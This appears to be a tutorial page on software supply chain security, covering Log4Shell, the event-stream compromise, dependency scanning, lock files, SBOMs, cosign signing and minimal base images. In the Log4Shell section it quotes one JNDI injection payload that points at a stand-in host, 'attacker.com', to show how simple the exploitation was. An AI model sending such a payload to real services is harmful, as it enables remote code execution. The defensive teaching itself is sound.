4 min read
On this page

Supply Chain Security

Your software is not just the code you write. It is every dependency you import, every base image you build on, every tool in your CI/CD pipeline, and every artifact you deploy. Each link in this chain is a potential attack vector. Supply chain attacks target these links because compromising one dependency can compromise thousands of applications that use it.

Dependencies Are Attack Vectors

Modern applications depend on hundreds or thousands of third-party packages. Each one is code written by someone you do not know, running with the same privileges as your application.

Log4Shell (CVE-2021-44228)

In December 2021, a critical vulnerability was discovered in Log4j, a Java logging library used by virtually every Java application. The vulnerability allowed remote code execution through a crafted log message.

The impact:
  - Log4j is used in millions of applications
  - The vulnerability existed for 8 years before discovery
  - Exploitation was trivial: send a string like
    ${jndi:ldap://attacker.com/exploit} in any logged field
  - Affected: AWS, Apple, Cloudflare, Twitter, Minecraft, and
    thousands of other systems
  - Many organizations did not even know they used Log4j
    because it was a transitive dependency

event-stream (2018)

A maintainer of the popular npm package event-stream (2 million weekly downloads) handed control to a new maintainer who injected malicious code targeting a Bitcoin wallet application.

The attack chain:
  1. Attacker offers to maintain a popular but neglected package
  2. Original author transfers ownership (grateful for help)
  3. Attacker adds a new dependency (flatmap-stream) with obfuscated
     malicious code
  4. The malicious code targets a specific Bitcoin wallet app (Copay)
  5. The code steals Bitcoin wallet credentials
  6. Millions of applications pulled the compromised version

These incidents illustrate a fundamental problem: the trust chain in open-source software is fragile.

Dependency Scanning

Automated scanning catches known vulnerabilities in your dependencies before they reach production.

Tools

Dependabot (GitHub):
  - Scans dependencies automatically
  - Opens PRs to update vulnerable packages
  - Free for public and private repos on GitHub
  - Supports most languages

Snyk:
  - Scans dependencies, containers, and IaC
  - Provides fix suggestions and PRs
  - Database of vulnerabilities with remediation advice
  - CLI, CI integration, and IDE plugins

Trivy:
  - Open-source, covers dependencies, containers, and IaC
  - Fast, offline-capable
  - Integrates with CI/CD pipelines
  - Supports SBOM generation

Grype:
  - Open-source vulnerability scanner
  - Pairs with Syft for SBOM generation
  - Fast, focused on vulnerability matching

Integrating Dependency Scanning

# GitHub Dependabot configuration
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
    reviewers:
      - "team-security"
    labels:
      - "dependencies"
      - "security"

  - package-ecosystem: "docker"
    directory: "/"
    schedule:
      interval: "weekly"
# CI pipeline with dependency scanning
name: Security
on: [push]

jobs:
  dependency-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      - name: Install dependencies
        run: npm ci
      
      - name: Audit dependencies
        run: npm audit --audit-level=high
      
      - name: Trivy filesystem scan
        uses: aquasecurity/trivy-action@master
        with:
          scan-type: fs
          scan-ref: .
          severity: HIGH,CRITICAL
          exit-code: 1

Lock Files

Lock files pin your dependencies to exact versions, preventing unexpected updates from introducing vulnerabilities or breaking changes.

Without a lock file:
  package.json says "lodash": "^4.17.0"
  Developer A installs: gets 4.17.20
  Developer B installs: gets 4.17.21
  CI installs: gets 4.17.21
  Production might get a different version than what was tested

With a lock file:
  package-lock.json pins lodash to 4.17.20
  Every install gets exactly 4.17.20
  What you tested is what you deploy
Lock files by ecosystem:
  npm:      package-lock.json
  Yarn:     yarn.lock
  pnpm:     pnpm-lock.yaml
  Python:   poetry.lock, Pipfile.lock
  Ruby:     Gemfile.lock
  Rust:     Cargo.lock
  Go:       go.sum

Always commit your lock file. Always install from the lock file in CI.

# Correct: install from lock file (deterministic)
npm ci

# Incorrect: install and potentially update lock file
npm install

SBOMs (Software Bill of Materials)

An SBOM is a complete inventory of every component in your software. When Log4Shell hit, organizations without SBOMs spent days or weeks figuring out which services used Log4j. Organizations with SBOMs answered the question in minutes.

An SBOM lists:
  - Every dependency (direct and transitive)
  - Version numbers
  - Licenses
  - Source locations
  - Known vulnerabilities

Generating SBOMs

# Generate SBOM with Syft (CycloneDX format)
syft dir:. -o cyclonedx-json > sbom.json

# Generate SBOM with Trivy
trivy fs --format cyclonedx --output sbom.json .

# Generate SBOM from a container image
syft myapp:latest -o spdx-json > sbom.json
SBOM formats:
  CycloneDX:  OWASP standard, widely supported
  SPDX:       Linux Foundation standard, used by governments
  
Both are acceptable. CycloneDX is more common in application
security. SPDX is more common in compliance and legal contexts.

Using SBOMs

Vulnerability response:
  1. New CVE announced for libxml2 2.9.14
  2. Query SBOMs: "Which services use libxml2 2.9.14?"
  3. Answer in seconds: payment-service, user-service, reporting-service
  4. Patch those three services
  5. Without SBOMs: search every repo, check every Dockerfile,
     inspect every container — takes days

Compliance:
  - Government contracts increasingly require SBOMs
  - Executive Order 14028 (US) mandates SBOMs for federal software
  - SBOMs enable license compliance auditing

Signing Artifacts

How do you know that the container image in production is the one your CI pipeline built? Without signing, you do not. Artifact signing creates a cryptographic chain of trust from code to production.

Sigstore & Cosign

Sigstore is an open-source project that makes artifact signing easy. Cosign is its tool for signing container images.

# Sign a container image with cosign
cosign sign --key cosign.key myregistry.com/myapp:v1.2.3

# Verify a signed image before deploying
cosign verify --key cosign.pub myregistry.com/myapp:v1.2.3

# Keyless signing (uses OIDC identity, no key management)
cosign sign myregistry.com/myapp:v1.2.3
# Authenticates via GitHub, Google, or Microsoft identity
The signing chain:
  1. Developer pushes code to GitHub
  2. CI pipeline builds the Docker image
  3. CI pipeline signs the image with cosign
  4. Image is pushed to the registry with its signature
  5. Kubernetes admission controller verifies the signature
  6. Only signed images are allowed to deploy
  7. An attacker who pushes a malicious image to the registry
     cannot deploy it because it is not signed by CI

Admission Controllers

# Kubernetes policy: only allow signed images
# Using Kyverno policy engine
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image-signatures
spec:
  validationFailureAction: enforce
  rules:
    - name: verify-cosign-signature
      match:
        resources:
          kinds:
            - Pod
      verifyImages:
        - imageReferences:
            - "myregistry.com/*"
          attestors:
            - entries:
                - keys:
                    publicKeys: |-
                      -----BEGIN PUBLIC KEY-----
                      ...
                      -----END PUBLIC KEY-----

Base Image Security

Your Dockerfile starts with a base image. That image contains an operating system with hundreds of packages, each a potential vulnerability.

# Bad: using a full OS base image
FROM ubuntu:22.04
# Contains ~100+ packages, many with known vulnerabilities

# Better: using a minimal base image
FROM python:3.12-slim
# Contains fewer packages, smaller attack surface

# Best: using a distroless or scratch image
FROM gcr.io/distroless/python3-debian12
# Contains only the runtime, no shell, no package manager
Base image comparison:
  ubuntu:22.04           — ~130 MB, ~50 vulnerabilities
  python:3.12-slim       — ~50 MB, ~15 vulnerabilities
  python:3.12-alpine     — ~20 MB, ~5 vulnerabilities
  distroless/python3     — ~15 MB, ~2 vulnerabilities

Fewer packages = smaller attack surface = fewer vulnerabilities

Scan base images regularly. Rebuild when vulnerabilities are patched.

# Scan base image for vulnerabilities
trivy image python:3.12-slim

# Automate: rebuild images weekly to pick up base image patches
# Schedule in CI:
# cron: "0 2 * * 0"  # Every Sunday at 2 AM

The Trust Chain from Code to Production

Supply chain security is about establishing trust at every link.

Code:
  - Signed commits (GPG or SSH signing)
  - Branch protection rules (require reviews)
  - Secret scanning on push

Dependencies:
  - Lock files (pinned versions)
  - Dependency scanning (known vulnerabilities)
  - SBOMs (know what you ship)

Build:
  - Hermetic builds (reproducible, isolated)
  - Build provenance (who built it, when, from what source)
  - Signed artifacts

Registry:
  - Image scanning (vulnerabilities in the built image)
  - Signed images only
  - Immutable tags (prevent overwriting)

Deploy:
  - Admission controllers (verify signatures)
  - Policy enforcement (only approved images)
  - Runtime monitoring (detect anomalies)

Real-World Example

A fintech company discovered through a routine audit that one of their Node.js services had a transitive dependency on a package with a known cryptographic vulnerability. The package was four levels deep in the dependency tree and had been there for two years.

They responded with a supply chain security initiative:

  1. Generated SBOMs for all 25 services using Syft
  2. Configured Dependabot on every repository with automatic PRs
  3. Added Trivy scanning to every CI pipeline, failing builds on critical findings
  4. Implemented cosign signing for all container images
  5. Deployed Kyverno in their Kubernetes clusters to enforce signature verification

Within three months, they had eliminated all critical and high vulnerabilities from their dependency trees. When a new CVE was published for a library they used, they identified all affected services within 10 minutes using their SBOM database -- a process that previously took two days.

Common Pitfalls

  • Ignoring transitive dependencies -- You may audit your direct dependencies but ignore the hundreds of packages they pull in; scan the entire dependency tree, not just the top level
  • Not using lock files -- Without lock files, every install can pull a different version; this is a security and reliability risk
  • Outdated base images -- A base image from six months ago has six months of unpatched vulnerabilities; rebuild regularly
  • SBOMs as a checkbox -- Generating SBOMs and never using them provides no value; integrate SBOMs into your vulnerability response process
  • Trusting the registry -- A container image in your registry is not necessarily the one your CI built; sign images and verify signatures before deploying
  • Manual dependency updates -- If dependency updates require manual effort, they will be neglected; automate with Dependabot, Renovate, or similar tools

Key Takeaways

  • Dependencies are attack vectors: Log4Shell and event-stream showed how one compromised package can affect millions of applications
  • Dependency scanning with tools like Dependabot, Snyk, and Trivy catches known vulnerabilities automatically
  • Lock files ensure deterministic builds; always commit them and install from them in CI
  • SBOMs provide a complete inventory of your software, enabling rapid vulnerability response
  • Artifact signing with Sigstore and cosign creates a cryptographic chain of trust from build to deploy
  • Base images should be minimal (distroless or slim) and rebuilt regularly to pick up patches